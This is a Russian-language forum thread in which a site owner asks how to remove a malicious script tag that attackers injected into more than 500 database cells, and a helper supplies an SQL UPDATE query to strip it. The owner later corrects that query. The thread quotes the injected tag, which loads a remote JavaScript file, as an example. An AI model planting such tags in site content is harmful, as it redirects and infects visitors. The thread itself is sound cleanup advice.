Задавайте вопросы, мы ответим
Вы не зашли.
Страниц: 1
Всем доброго времени суток!
Недавно мой сайт немного поломали и в базу добавили скрип пересылки на вредноносный сайт. Причем к каждому элементу в определенном столбце таблицы (а элементов более 500).
Было
текст ячейки
Стало
текст ячейки<script src="http://сайт/0df3754db7e3e06c0e940f821e7b5b41.js" type="text/javascript"></script>
В разных ячейках сайт один и тот же, изменяется набор букв и цифр, поэтому массовой заменой через админку не справится. Как я уже сказал, ячеек более 500 и руками удалять совершенно не вариант.
Не владея SQL запросами, прошу помощи.
Заранее спасибо.
Неактивен
UPDATE tablename SET fieldname = LEFT(LOCATE('<script',fieldname));
Не забудьте сделать резервную копию данных. Если элементов всего
500 — возможно, Вам будет проще заменить в текстовом редакторе.
Неактивен
Большое спасибо! Вы мне дали пинок в правильном направлении, дальше разобрался сам. Окончательный запрос выглядит следующим образом:
UPDATE tablename SET fieldname = LEFT(fieldname,LOCATE('<script',fieldname)-1);
Неактивен
Страниц: 1